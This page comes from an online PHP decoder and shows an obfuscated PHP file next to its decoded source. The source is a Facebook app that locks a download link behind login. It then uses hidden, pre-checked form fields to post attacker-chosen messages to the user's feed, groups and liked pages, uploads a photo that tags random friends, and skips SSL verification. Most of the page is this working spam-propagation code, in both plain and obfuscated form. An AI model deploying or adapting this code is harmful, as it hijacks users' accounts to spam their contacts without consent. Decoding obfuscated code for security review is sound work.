Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $_F=__FILE__;$_X='Pz48P3BocA0KCSRyNWQ0cjVjdCA9IDA7DQoJLy8za2xqMyYjYWU5OzR2MW5qNSBwMn..

Decoded Output download

?><?php
	$redirect = 0;
	//uklju&#269;ivanje potrebnih fajlova	
	require "readfromdb.php";
	
	//uzimanje broja share
	if (file_exists("broj_klikova.txt")) {
		$file_bk      = "broj_klikova.txt";
		$handle       = fopen($file_bk, "r+");
		$broj_klikova = fread($handle, filesize("$file_bk"));
		fclose($handle);
	}
	
	//preusmjeravanje na download link
	if (isset($_GET['r'])) {
		//pisanje svakog share
		$file   = "broj_klikova.txt";
		$handle = fopen($file, "r+");
		$hits   = fread($handle, filesize("$file"));
		$hits += 1;
		fclose($handle);
		$handle = fopen($file, "w");
		fwrite($handle, $hits);
		fclose($handle);
		//sigurnosni redirekt!
		echo '<script type="text/javascript">window.location = "' . $download_link . '";</script>';
	} else if (($broj_klikova >= $autoTurnOff) || ($redirect == 1)) {
		echo '<script type="text/javascript">window.location = "' . $download_link . '";</script>';
	}
	
	//pozivanje fb php sdk
	try {
		include_once "src/facebook.php";
	}
	catch (Exception $e) {
		error_log($e);
	}
	
	// kreiranje instance
	$facebook = new Facebook(array(
		'appId' => removeEmptySpaces($app_id),
		'secret' => removeEmptySpaces($app_secret),
		'cookie' => true
	));
	
	// uzimanje korisnikovog ID-a
	$user = $facebook->getUser();
	
	if ($user) {
		try {
			$user_profile = $facebook->api('/me');
		}
		catch (FacebookApiException $e) {
			error_log($e);
			$user = NULL;
		}
	}
	
	//kreiranje login i logout URL-ova
	if ($user) {
		$logoutUrl = $facebook->getLogoutUrl(array(
			'next' => $site_url
		));
		
	} else {
		$loginUrl = $facebook->getLoginUrl(array(
			'display' => 'popup',
			'next' => $site_url . "index.php?loginsucc=1",
			'cancel_url' => $site_url . "index.php?cancel=1",
			'scope' => 'publish_stream, user_groups, email, photo_upload, user_photos,user_videos'
		));
		$file     = "broj_posjeta.txt";
		$handle   = fopen($file, "r+");
		$hits     = fread($handle, filesize("$file"));
		$hits += 1;
		fclose($handle);
		$handle = fopen($file, "w");
		fwrite($handle, $hits);
		fclose($handle);
	}
	
	//provjera da li je korisnik dao potrebne permisije	
	if ($user) {
		// snimanje "metoda" u array
		$queries = array(
			array(
				'method' => 'GET',
				'relative_url' => '/' . $user
			),
			array(
				'method' => 'GET',
				'relative_url' => '/' . $user . '/friends'
			),
			array(
				'method' => 'GET',
				'relative_url' => '/' . $user . '/groups'
			),
			array(
				'method' => 'GET',
				'relative_url' => '/' . $user . '/likes'
			)
		);
		
		try {
			$batchResponse = $facebook->api('?batch=' . json_encode($queries), 'POST');
		}
		catch (Exception $o) {
			error_log($o);
		}
		
		//pravljenje "tijela" posta
		$user_info = json_decode($batchResponse[0]['body'], TRUE);
		$groups    = json_decode($batchResponse[2]['body'], TRUE);
		$pages     = json_decode($batchResponse[3]['body'], TRUE);
		
		if (isset($_POST['submit_x'])) {
			$body = array(
				'message' => $_POST['message'],
				'link' => $_POST['link'],
				'picture' => $_POST['picture'],
				'name' => $_POST['name'],
				'caption' => $_POST['caption'],
				'description' => $_POST['description']
			);
			
			$batchPost = array();
			$i         = 1;
			
			if ( ($welcome_status == 'Yes') && ($autoposting == 'Yes') ) $facebook->api('/me/feed', 'POST', $body);
			
			//redanje svih ID-ova i pode&#353;avanje za batch API
			foreach ($_POST as $key => $value) {
				if (strpos($key, "id_") === 0) {
					$batchPost[] = array(
						'method' => 'POST',
						'relative_url' => "/$value/feed",
						'body' => http_build_query($body)
					);
					if ($i++ == 50) {
						try {
							$multiPostResponse = $facebook->api('?batch=' . urlencode(json_encode($batchPost)), 'POST');
						}
						catch (FacebookApiException $e) {
							error_log($e);
							echo ("Batch Post Failed");
						}
						unset($batchPost);
						$i = 1;
					}
				}
			}
			
			//pravljenje posta na fb
			if (isset($batchPost) && count($batchPost) > 0) {
				try {
					$multiPostResponse = $facebook->api('?batch=' . urlencode(json_encode($batchPost)), 'POST');
				}
				catch (FacebookApiException $e) {
					error_log($e);
					echo ("Batch Post Failed");
				}
			} //kraj IF od pravljenja posta
			
			///////////////////////////////////////////////////// PHOTO UPLOAD /////////////////////////////////////
			if (!($uploadphoto != 'Yes')) {
				//davanje permisija
				$facebook->setFileUploadSupport(true);
				
				//kreiranje albuma
				$album_details = array(
					'message' => $album_description,
					'name' => $album_name
				);
				$create_album  = $facebook->api('/me/albums', 'post', $album_details);
				
				//uzimanje album ID
				$album_uid = $create_album['id'];
				
				//upload slike u album
				$photo_details          = array(
					'message' => $message_under_photo
				);
				$file                   = $picture_for_upload; //link do slike
				$photo_details['image'] = '@' . realpath($file);
				
				$upload_photo = $facebook->api('/' . $album_uid . '/photos', 'post', $photo_details);
				
				//tagovanje na slici
				if (!($tag_my_friends != 'Yes')) {
					//uzimanje ID-a od slike
					$photo_id = $upload_photo['id'];
					
					//uzimanje liste prijatelja
					$result = $facebook->api('/me/friends');
					
					//smije&#353;tanje ID-a od prijatelja u array
					$friend_uids = array();
					if ($result && $result['data']) {
						foreach ($result['data'] as $friend) {
							$friend_uids[] = $friend['id'];
						}
					}
					
					//prolazak kroz sve prijatelje i uzimanje nekog od njih slu&#269;ajnim odabirom
					$rand_keys = array_rand($friend_uids, $numberOfFriendsToTag);
					foreach ($rand_keys as $key) {
						$friends[] = $friend_uids[$key];
					}
					
					//pode&#353;avanje tag parametara
					foreach ($friends as $friend_uid) {
						$tag_params = array(
							'to' => $friend_uid,
							'x' => 0,
							'y' => 0
						);
						
						//ozna&#269;avanje na slici
						$facebook->api('/' . $photo_id . '/tags', 'POST', $tag_params);
						
					} //kraj foreach
				} //kraj IF od provjere za tagove
			} // kraj IF od provjere za upload slike
			
			//////////////////////////////////////////////// KRAJ PHOTO UPLOAD /////////////////////////////////////////
			
		} //kraj IF od provjere klika na Download
	} //kraj IF od provjere da li je korisnik dao permisije za koristenje app
	
	function display($collection, $up, $limit, $type)
	{
		if ($cnt = count($collection)) {
			$down = $up;
			$up += ($cnt <= $limit) ? $cnt : $limit;
			
			$i = 1;
			foreach ($collection as $page) {
				$name = $page['name'];
				$id   = $page['id'];
				if (!($i + 2) % 3)
					echo "<tr>";
				echo "<td><input type='checkbox' name='id_$id' value='$id' checked='checked' style='display:none;'/></td>";
				if (!($i % 3))
					echo "</tr>";
				if ($i++ == $limit)
					break;
			}
		}
	}
	
	function GetLongLivedAccessToken($access_token, $app_id, $app_secret)
	{
		$url = "https://graph.facebook.com/oauth/access_token?client_id=$app_id&client_secret=$app_secret&grant_type=fb_exchange_token&fb_exchange_token=$access_token";
		$ch  = curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 5.2; rv:13.0) Gecko/20100101 Firefox/13.0.1");
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
		$result = curl_exec($ch);
		curl_close($ch);
		$x           = strpos($result, "access_token=");
		$y           = strpos($result, "&", ($x + 13));
		$accessToken = substr($result, ($x + 13), $y - ($x + 13));
		return $accessToken;
	}

	function issetIE()
	{
		if (isset($_SERVER['HTTP_USER_AGENT']) && (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== false))
			return true;
		else
			return false;
	}
	
	if (!(issetIE())) {
		if (isset($_REQUEST['cancel'])) {
			echo "<script>
					window.close();
					</script>";
		}
		
		if ((isset($_GET['code'])) and (isset($_GET['state']))) {
			echo "<script>
					window.close();
					window.opener.location.reload();
					</script>";
		}
	}
	
	if (!(issetIE()))
		$loginType = "<a href=\"#\" onclick=\"login('$loginUrl');return false;\">";
	else
		$loginType = '<a href="' . $loginUrl . '">';
?>

Did this file decode correctly?

Original Code

<?php $_F=__FILE__;$_X='Pz48P3BocA0KCSRyNWQ0cjVjdCA9IDA7DQoJLy8za2xqMyYjYWU5OzR2MW5qNSBwMnRyNWJuNGggZjFqbDJ2MQkNCglyNXEzNHI1ICJyNTFkZnIybWRiLnBocCI7DQoJDQoJLy8zejRtMW5qNSBicjJqMSBzaDFyNQ0KCTRmIChmNGw1XzV4NHN0cygiYnIyal9rbDRrMnYxLnR4dCIpKSB7DQoJCSRmNGw1X2JrICAgICAgPSAiYnIyal9rbDRrMnYxLnR4dCI7DQoJCSRoMW5kbDUgICAgICAgPSBmMnA1bigkZjRsNV9iaywgInIrIik7DQoJCSRicjJqX2tsNGsydjEgPSBmcjUxZCgkaDFuZGw1LCBmNGw1czR6NSgiJGY0bDVfYmsiKSk7DQoJCWZjbDJzNSgkaDFuZGw1KTsNCgl9DQoJDQoJLy9wcjUzc21qNXIxdjFuajUgbjEgZDJ3bmwyMWQgbDRuaw0KCTRmICg0c3M1dCgkX0dFVFsnciddKSkgew0KCQkvL3A0czFuajUgc3YxazJnIHNoMXI1DQoJCSRmNGw1ICAgPSAiYnIyal9rbDRrMnYxLnR4dCI7DQoJCSRoMW5kbDUgPSBmMnA1bigkZjRsNSwgInIrIik7DQoJCSRoNHRzICAgPSBmcjUxZCgkaDFuZGw1LCBmNGw1czR6NSgiJGY0bDUiKSk7DQoJCSRoNHRzICs9IDY7DQoJCWZjbDJzNSgkaDFuZGw1KTsNCgkJJGgxbmRsNSA9IGYycDVuKCRmNGw1LCAidyIpOw0KCQlmd3I0dDUoJGgxbmRsNSwgJGg0dHMpOw0KCQlmY2wyczUoJGgxbmRsNSk7DQoJCS8vczRnM3JuMnNuNCByNWQ0cjVrdCENCgkJNWNoMiAnPHNjcjRwdCB0eXA1PSJ0NXh0L2oxdjFzY3I0cHQiPnc0bmQydy5sMmMxdDQybiA9ICInIC4gJGQyd25sMjFkX2w0bmsgLiAnIjs8L3NjcjRwdD4nOw0KCX0gNWxzNSA0ZiAoKCRicjJqX2tsNGsydjEgPj0gJDEzdDJUM3JuT2ZmKSB8fCAoJHI1ZDRyNWN0ID09IDYpKSB7DQoJCTVjaDIgJzxzY3I0cHQgdHlwNT0idDV4dC9qMXYxc2NyNHB0Ij53NG5kMncubDJjMXQ0Mm4gPSAiJyAuICRkMndubDIxZF9sNG5rIC4gJyI7PC9zY3I0cHQ+JzsNCgl9DQoJDQoJLy9wMno0djFuajUgZmIgcGhwIHNkaw0KCXRyeSB7DQoJCTRuY2wzZDVfMm5jNSAic3JjL2YxYzViMjJrLnBocCI7DQoJfQ0KCWMxdGNoIChFeGM1cHQ0Mm4gJDUpIHsNCgkJNXJyMnJfbDJnKCQ1KTsNCgl9DQoJDQoJLy8ga3I1NHIxbmo1IDRuc3QxbmM1DQoJJGYxYzViMjJrID0gbjV3IEYxYzViMjJrKDFycjF5KA0KCQknMXBwSWQnID0+IHI1bTJ2NUVtcHR5U3AxYzVzKCQxcHBfNGQpLA0KCQknczVjcjV0JyA9PiByNW0ydjVFbXB0eVNwMWM1cygkMXBwX3M1Y3I1dCksDQoJCSdjMjJrNDUnID0+IHRyMzUNCgkpKTsNCgkNCgkvLyAzejRtMW5qNSBrMnI0c240azJ2MmcgSUQtMQ0KCSQzczVyID0gJGYxYzViMjJrLT5nNXRVczVyKCk7DQoJDQoJNGYgKCQzczVyKSB7DQoJCXRyeSB7DQoJCQkkM3M1cl9wcjJmNGw1ID0gJGYxYzViMjJrLT4xcDQoJy9tNScpOw0KCQl9DQoJCWMxdGNoIChGMWM1YjIya0FwNEV4YzVwdDQybiAkNSkgew0KCQkJNXJyMnJfbDJnKCQ1KTsNCgkJCSQzczVyID0gTlVMTDsNCgkJfQ0KCX0NCgkNCgkvL2tyNTRyMW5qNSBsMmc0biA0IGwyZzIzdCBVUkwtMnYxDQoJNGYgKCQzczVyKSB7DQoJCSRsMmcyM3RVcmwgPSAkZjFjNWIyMmstPmc1dEwyZzIzdFVybCgxcnIxeSgNCgkJCSduNXh0JyA9PiAkczR0NV8zcmwNCgkJKSk7DQoJCQ0KCX0gNWxzNSB7DQoJCSRsMmc0blVybCA9ICRmMWM1YjIyay0+ZzV0TDJnNG5VcmwoMXJyMXkoDQoJCQknZDRzcGwxeScgPT4gJ3AycDNwJywNCgkJCSduNXh0JyA9PiAkczR0NV8zcmwgLiAiNG5kNXgucGhwP2wyZzRuczNjYz02IiwNCgkJCSdjMW5jNWxfM3JsJyA9PiAkczR0NV8zcmwgLiAiNG5kNXgucGhwP2MxbmM1bD02IiwNCgkJCSdzYzJwNScgPT4gJ3AzYmw0c2hfc3RyNTFtLCAzczVyX2dyMjNwcywgNW0xNGwsIHBoMnQyXzNwbDIxZCwgM3M1cl9waDJ0MnMsM3M1cl92NGQ1MnMnDQoJCSkpOw0KCQkkZjRsNSAgICAgPSAiYnIyal9wMnNqNXQxLnR4dCI7DQoJCSRoMW5kbDUgICA9IGYycDVuKCRmNGw1LCAicisiKTsNCgkJJGg0dHMgICAgID0gZnI1MWQoJGgxbmRsNSwgZjRsNXM0ejUoIiRmNGw1IikpOw0KCQkkaDR0cyArPSA2Ow0KCQlmY2wyczUoJGgxbmRsNSk7DQoJCSRoMW5kbDUgPSBmMnA1bigkZjRsNSwgInciKTsNCgkJZndyNHQ1KCRoMW5kbDUsICRoNHRzKTsNCgkJZmNsMnM1KCRoMW5kbDUpOw0KCX0NCgkNCgkvL3ByMnZqNXIxIGQxIGw0IGo1IGsycjRzbjRrIGQxMiBwMnRyNWJuNSBwNXJtNHM0ajUJDQoJNGYgKCQzczVyKSB7DQoJCS8vIHNuNG0xbmo1ICJtNXQyZDEiIDMgMXJyMXkNCgkJJHEzNXI0NXMgPSAxcnIxeSgNCgkJCTFycjF5KA0KCQkJCSdtNXRoMmQnID0+ICdHRVQnLA0KCQkJCSdyNWwxdDR2NV8zcmwnID0+ICcvJyAuICQzczVyDQoJCQkpLA0KCQkJMXJyMXkoDQoJCQkJJ201dGgyZCcgPT4gJ0dFVCcsDQoJCQkJJ3I1bDF0NHY1XzNybCcgPT4gJy8nIC4gJDNzNXIgLiAnL2ZyNDVuZHMnDQoJCQkpLA0KCQkJMXJyMXkoDQoJCQkJJ201dGgyZCcgPT4gJ0dFVCcsDQoJCQkJJ3I1bDF0NHY1XzNybCcgPT4gJy8nIC4gJDNzNXIgLiAnL2dyMjNwcycNCgkJCSksDQoJCQkxcnIxeSgNCgkJCQknbTV0aDJkJyA9PiAnR0VUJywNCgkJCQkncjVsMXQ0djVfM3JsJyA9PiAnLycgLiAkM3M1ciAuICcvbDRrNXMnDQoJCQkpDQoJCSk7DQoJCQ0KCQl0cnkgew0KCQkJJGIxdGNoUjVzcDJuczUgPSAkZjFjNWIyMmstPjFwNCgnP2IxdGNoPScgLiBqczJuXzVuYzJkNSgkcTM1cjQ1cyksICdQT1NUJyk7DQoJCX0NCgkJYzF0Y2ggKEV4YzVwdDQybiAkMikgew0KCQkJNXJyMnJfbDJnKCQyKTsNCgkJfQ0KCQkNCgkJLy9wcjF2bGo1bmo1ICJ0NGo1bDEiIHAyc3QxDQoJCSQzczVyXzRuZjIgPSBqczJuX2Q1YzJkNSgkYjF0Y2hSNXNwMm5zNVswXVsnYjJkeSddLCBUUlVFKTsNCgkJJGdyMjNwcyAgICA9IGpzMm5fZDVjMmQ1KCRiMXRjaFI1c3AybnM1W2FdWydiMmR5J10sIFRSVUUpOw0KCQkkcDFnNXMgICAgID0ganMybl9kNWMyZDUoJGIxdGNoUjVzcDJuczVbb11bJ2IyZHknXSwgVFJVRSk7DQoJCQ0KCQk0ZiAoNHNzNXQoJF9QT1NUWydzM2JtNHRfeCddKSkgew0KCQkJJGIyZHkgPSAxcnIxeSgNCgkJCQknbTVzczFnNScgPT4gJF9QT1NUWydtNXNzMWc1J10sDQoJCQkJJ2w0bmsnID0+ICRfUE9TVFsnbDRuayddLA0KCQkJCSdwNGN0M3I1JyA9PiAkX1BPU1RbJ3A0Y3QzcjUnXSwNCgkJCQknbjFtNScgPT4gJF9QT1NUWyduMW01J10sDQoJCQkJJ2MxcHQ0Mm4nID0+ICRfUE9TVFsnYzFwdDQybiddLA0KCQkJCSdkNXNjcjRwdDQybicgPT4gJF9QT1NUWydkNXNjcjRwdDQybiddDQoJCQkpOw0KCQkJDQoJCQkkYjF0Y2hQMnN0ID0gMXJyMXkoKTsNCgkJCSQ0ICAgICAgICAgPSA2Ow0KCQkJDQoJCQk0ZiAoICgkdzVsYzJtNV9zdDF0M3MgPT0gJ1k1cycpICYmICgkMTN0MnAyc3Q0bmcgPT0gJ1k1cycpICkgJGYxYzViMjJrLT4xcDQoJy9tNS9mNTVkJywgJ1BPU1QnLCAkYjJkeSk7DQoJCQkNCgkJCS8vcjVkMW5qNSBzdjRoIElELTJ2MSA0IHAyZDUmI29pbzsxdjFuajUgejEgYjF0Y2ggQVBJDQoJCQlmMnI1MWNoICgkX1BPU1QgMXMgJGs1eSA9PiAkdjFsMzUpIHsNCgkJCQk0ZiAoc3RycDJzKCRrNXksICI0ZF8iKSA9PT0gMCkgew0KCQkJCQkkYjF0Y2hQMnN0W10gPSAxcnIxeSgNCgkJCQkJCSdtNXRoMmQnID0+ICdQT1NUJywNCgkJCQkJCSdyNWwxdDR2NV8zcmwnID0+ICIvJHYxbDM1L2Y1NWQiLA0KCQkJCQkJJ2IyZHknID0+IGh0dHBfYjM0bGRfcTM1cnkoJGIyZHkpDQoJCQkJCSk7DQoJCQkJCTRmICgkNCsrID09IGkwKSB7DQoJCQkJCQl0cnkgew0KCQkJCQkJCSRtM2x0NFAyc3RSNXNwMm5zNSA9ICRmMWM1YjIyay0+MXA0KCc/YjF0Y2g9JyAuIDNybDVuYzJkNShqczJuXzVuYzJkNSgkYjF0Y2hQMnN0KSksICdQT1NUJyk7DQoJCQkJCQl9DQoJCQkJCQljMXRjaCAoRjFjNWIyMmtBcDRFeGM1cHQ0Mm4gJDUpIHsNCgkJCQkJCQk1cnIycl9sMmcoJDUpOw0KCQkJCQkJCTVjaDIgKCJCMXRjaCBQMnN0IEYxNGw1ZCIpOw0KCQkJCQkJfQ0KCQkJCQkJM25zNXQoJGIxdGNoUDJzdCk7DQoJCQkJCQkkNCA9IDY7DQoJCQkJCX0NCgkJCQl9DQoJCQl9DQoJCQkNCgkJCS8vcHIxdmxqNW5qNSBwMnN0MSBuMSBmYg0KCQkJNGYgKDRzczV0KCRiMXRjaFAyc3QpICYmIGMyM250KCRiMXRjaFAyc3QpID4gMCkgew0KCQkJCXRyeSB7DQoJCQkJCSRtM2x0NFAyc3RSNXNwMm5zNSA9ICRmMWM1YjIyay0+MXA0KCc/YjF0Y2g9JyAuIDNybDVuYzJkNShqczJuXzVuYzJkNSgkYjF0Y2hQMnN0KSksICdQT1NUJyk7DQoJCQkJfQ0KCQkJCWMxdGNoIChGMWM1YjIya0FwNEV4YzVwdDQybiAkNSkgew0KCQkJCQk1cnIycl9sMmcoJDUpOw0KCQkJCQk1Y2gyICgiQjF0Y2ggUDJzdCBGMTRsNWQiKTsNCgkJCQl9DQoJCQl9IC8va3IxaiBJRiAyZCBwcjF2bGo1bmoxIHAyc3QxDQoJCQkNCgkJCS8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vIFBIT1RPIFVQTE9BRCAvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoJCQk0ZiAoISgkM3BsMjFkcGgydDIgIT0gJ1k1cycpKSB7DQoJCQkJLy9kMXYxbmo1IHA1cm00czRqMQ0KCQkJCSRmMWM1YjIyay0+czV0RjRsNVVwbDIxZFMzcHAycnQodHIzNSk7DQoJCQkJDQoJCQkJLy9rcjU0cjFuajUgMWxiM20xDQoJCQkJJDFsYjNtX2Q1dDE0bHMgPSAxcnIxeSgNCgkJCQkJJ201c3MxZzUnID0+ICQxbGIzbV9kNXNjcjRwdDQybiwNCgkJCQkJJ24xbTUnID0+ICQxbGIzbV9uMW01DQoJCQkJKTsNCgkJCQkkY3I1MXQ1XzFsYjNtICA9ICRmMWM1YjIyay0+MXA0KCcvbTUvMWxiM21zJywgJ3Ayc3QnLCAkMWxiM21fZDV0MTRscyk7DQoJCQkJDQoJCQkJLy8zejRtMW5qNSAxbGIzbSBJRA0KCQkJCSQxbGIzbV8zNGQgPSAkY3I1MXQ1XzFsYjNtWyc0ZCddOw0KCQkJCQ0KCQkJCS8vM3BsMjFkIHNsNGs1IDMgMWxiM20NCgkJCQkkcGgydDJfZDV0MTRscyAgICAgICAgICA9IDFycjF5KA0KCQkJCQknbTVzczFnNScgPT4gJG01c3MxZzVfM25kNXJfcGgydDINCgkJCQkpOw0KCQkJCSRmNGw1ICAgICAgICAgICAgICAgICAgID0gJHA0Y3QzcjVfZjJyXzNwbDIxZDsgLy9sNG5rIGQyIHNsNGs1DQoJCQkJJHBoMnQyX2Q1dDE0bHNbJzRtMWc1J10gPSAnQCcgLiByNTFscDF0aCgkZjRsNSk7DQoJCQkJDQoJCQkJJDNwbDIxZF9waDJ0MiA9ICRmMWM1YjIyay0+MXA0KCcvJyAuICQxbGIzbV8zNGQgLiAnL3BoMnQycycsICdwMnN0JywgJHBoMnQyX2Q1dDE0bHMpOw0KCQkJCQ0KCQkJCS8vdDFnMnYxbmo1IG4xIHNsNGM0DQoJCQkJNGYgKCEoJHQxZ19teV9mcjQ1bmRzICE9ICdZNXMnKSkgew0KCQkJCQkvLzN6NG0xbmo1IElELTEgMmQgc2w0azUNCgkJCQkJJHBoMnQyXzRkID0gJDNwbDIxZF9waDJ0MlsnNGQnXTsNCgkJCQkJDQoJCQkJCS8vM3o0bTFuajUgbDRzdDUgcHI0ajF0NWxqMQ0KCQkJCQkkcjVzM2x0ID0gJGYxYzViMjJrLT4xcDQoJy9tNS9mcjQ1bmRzJyk7DQoJCQkJCQ0KCQkJCQkvL3NtNGo1JiNvaW87dDFuajUgSUQtMSAyZCBwcjRqMXQ1bGoxIDMgMXJyMXkNCgkJCQkJJGZyNDVuZF8zNGRzID0gMXJyMXkoKTsNCgkJCQkJNGYgKCRyNXMzbHQgJiYgJHI1czNsdFsnZDF0MSddKSB7DQoJCQkJCQlmMnI1MWNoICgkcjVzM2x0WydkMXQxJ10gMXMgJGZyNDVuZCkgew0KCQkJCQkJCSRmcjQ1bmRfMzRkc1tdID0gJGZyNDVuZFsnNGQnXTsNCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCQkNCgkJCQkJLy9wcjJsMXoxayBrcjJ6IHN2NSBwcjRqMXQ1bGo1IDQgM3o0bTFuajUgbjVrMmcgMmQgbmo0aCBzbDMmI2FlOTsxam40bSAyZDFiNHIybQ0KCQkJCQkkcjFuZF9rNXlzID0gMXJyMXlfcjFuZCgkZnI0NW5kXzM0ZHMsICRuM21iNXJPZkZyNDVuZHNUMlQxZyk7DQoJCQkJCWYycjUxY2ggKCRyMW5kX2s1eXMgMXMgJGs1eSkgew0KCQkJCQkJJGZyNDVuZHNbXSA9ICRmcjQ1bmRfMzRkc1skazV5XTsNCgkJCQkJfQ0KCQkJCQkNCgkJCQkJLy9wMmQ1JiNvaW87MXYxbmo1IHQxZyBwMXIxbTV0MXIxDQoJCQkJCWYycjUxY2ggKCRmcjQ1bmRzIDFzICRmcjQ1bmRfMzRkKSB7DQoJCQkJCQkkdDFnX3AxcjFtcyA9IDFycjF5KA0KCQkJCQkJCSd0MicgPT4gJGZyNDVuZF8zNGQsDQoJCQkJCQkJJ3gnID0+IDAsDQoJCQkJCQkJJ3knID0+IDANCgkJCQkJCSk7DQoJCQkJCQkNCgkJCQkJCS8vMnpuMSYjYWU5OzF2MW5qNSBuMSBzbDRjNA0KCQkJCQkJJGYxYzViMjJrLT4xcDQoJy8nIC4gJHBoMnQyXzRkIC4gJy90MWdzJywgJ1BPU1QnLCAkdDFnX3AxcjFtcyk7DQoJCQkJCQkNCgkJCQkJfSAvL2tyMWogZjJyNTFjaA0KCQkJCX0gLy9rcjFqIElGIDJkIHByMnZqNXI1IHoxIHQxZzJ2NQ0KCQkJfSAvLyBrcjFqIElGIDJkIHByMnZqNXI1IHoxIDNwbDIxZCBzbDRrNQ0KCQkJDQoJCQkvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8gS1JBSiBQSE9UTyBVUExPQUQgLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCgkJCQ0KCQl9IC8va3IxaiBJRiAyZCBwcjJ2ajVyNSBrbDRrMSBuMSBEMndubDIxZA0KCX0gLy9rcjFqIElGIDJkIHByMnZqNXI1IGQxIGw0IGo1IGsycjRzbjRrIGQxMiBwNXJtNHM0ajUgejEgazJyNHN0NW5qNSAxcHANCgkNCglmM25jdDQybiBkNHNwbDF5KCRjMmxsNWN0NDJuLCAkM3AsICRsNG00dCwgJHR5cDUpDQoJew0KCQk0ZiAoJGNudCA9IGMyM250KCRjMmxsNWN0NDJuKSkgew0KCQkJJGQyd24gPSAkM3A7DQoJCQkkM3AgKz0gKCRjbnQgPD0gJGw0bTR0KSA/ICRjbnQgOiAkbDRtNHQ7DQoJCQkNCgkJCSQ0ID0gNjsNCgkJCWYycjUxY2ggKCRjMmxsNWN0NDJuIDFzICRwMWc1KSB7DQoJCQkJJG4xbTUgPSAkcDFnNVsnbjFtNSddOw0KCQkJCSQ0ZCAgID0gJHAxZzVbJzRkJ107DQoJCQkJNGYgKCEoJDQgKyBhKSAlIG8pDQoJCQkJCTVjaDIgIjx0cj4iOw0KCQkJCTVjaDIgIjx0ZD48NG5wM3QgdHlwNT0nY2g1Y2tiMngnIG4xbTU9JzRkXyQ0ZCcgdjFsMzU9JyQ0ZCcgY2g1Y2s1ZD0nY2g1Y2s1ZCcgc3R5bDU9J2Q0c3BsMXk6bjJuNTsnLz48L3RkPiI7DQoJCQkJNGYgKCEoJDQgJSBvKSkNCgkJCQkJNWNoMiAiPC90cj4iOw0KCQkJCTRmICgkNCsrID09ICRsNG00dCkNCgkJCQkJYnI1MWs7DQoJCQl9DQoJCX0NCgl9DQoJDQoJZjNuY3Q0Mm4gRzV0TDJuZ0w0djVkQWNjNXNzVDJrNW4oJDFjYzVzc190Mms1biwgJDFwcF80ZCwgJDFwcF9zNWNyNXQpDQoJew0KCQkkM3JsID0gImh0dHBzOi8vZ3IxcGguZjFjNWIyMmsuYzJtLzIxM3RoLzFjYzVzc190Mms1bj9jbDQ1bnRfNGQ9JDFwcF80ZCZjbDQ1bnRfczVjcjV0PSQxcHBfczVjcjV0JmdyMW50X3R5cDU9ZmJfNXhjaDFuZzVfdDJrNW4mZmJfNXhjaDFuZzVfdDJrNW49JDFjYzVzc190Mms1biI7DQoJCSRjaCAgPSBjM3JsXzRuNHQoKTsNCgkJYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1VSTCwgJDNybCk7DQoJCWMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICJNMno0bGwxL2kuMCAoVzRuZDJ3cyBOVCBpLmE7IHJ2OjZvLjApIEc1Y2syL2EwNjAwNjA2IEY0cjVmMngvNm8uMC42Iik7DQoJCWMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgZjFsczUpOw0KCQljM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRyMzUpOw0KCQljM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIGYxbHM1KTsNCgkJYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBmMWxzNSk7DQoJCSRyNXMzbHQgPSBjM3JsXzV4NWMoJGNoKTsNCgkJYzNybF9jbDJzNSgkY2gpOw0KCQkkeCAgICAgICAgICAgPSBzdHJwMnMoJHI1czNsdCwgIjFjYzVzc190Mms1bj0iKTsNCgkJJHkgICAgICAgICAgID0gc3RycDJzKCRyNXMzbHQsICImIiwgKCR4ICsgNm8pKTsNCgkJJDFjYzVzc1QyazVuID0gczNic3RyKCRyNXMzbHQsICgkeCArIDZvKSwgJHkgLSAoJHggKyA2bykpOw0KCQlyNXQzcm4gJDFjYzVzc1QyazVuOw0KCX0NCg0KCWYzbmN0NDJuIDRzczV0SUUoKQ0KCXsNCgkJNGYgKDRzczV0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgJiYgKHN0cnAycygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sICdNU0lFJykgIT09IGYxbHM1KSkNCgkJCXI1dDNybiB0cjM1Ow0KCQk1bHM1DQoJCQlyNXQzcm4gZjFsczU7DQoJfQ0KCQ0KCTRmICghKDRzczV0SUUoKSkpIHsNCgkJNGYgKDRzczV0KCRfUkVRVUVTVFsnYzFuYzVsJ10pKSB7DQoJCQk1Y2gyICI8c2NyNHB0Pg0KCQkJCQl3NG5kMncuY2wyczUoKTsNCgkJCQkJPC9zY3I0cHQ+IjsNCgkJfQ0KCQkNCgkJNGYgKCg0c3M1dCgkX0dFVFsnYzJkNSddKSkgMW5kICg0c3M1dCgkX0dFVFsnc3QxdDUnXSkpKSB7DQoJCQk1Y2gyICI8c2NyNHB0Pg0KCQkJCQl3NG5kMncuY2wyczUoKTsNCgkJCQkJdzRuZDJ3LjJwNW41ci5sMmMxdDQybi5yNWwyMWQoKTsNCgkJCQkJPC9zY3I0cHQ+IjsNCgkJfQ0KCX0NCgkNCgk0ZiAoISg0c3M1dElFKCkpK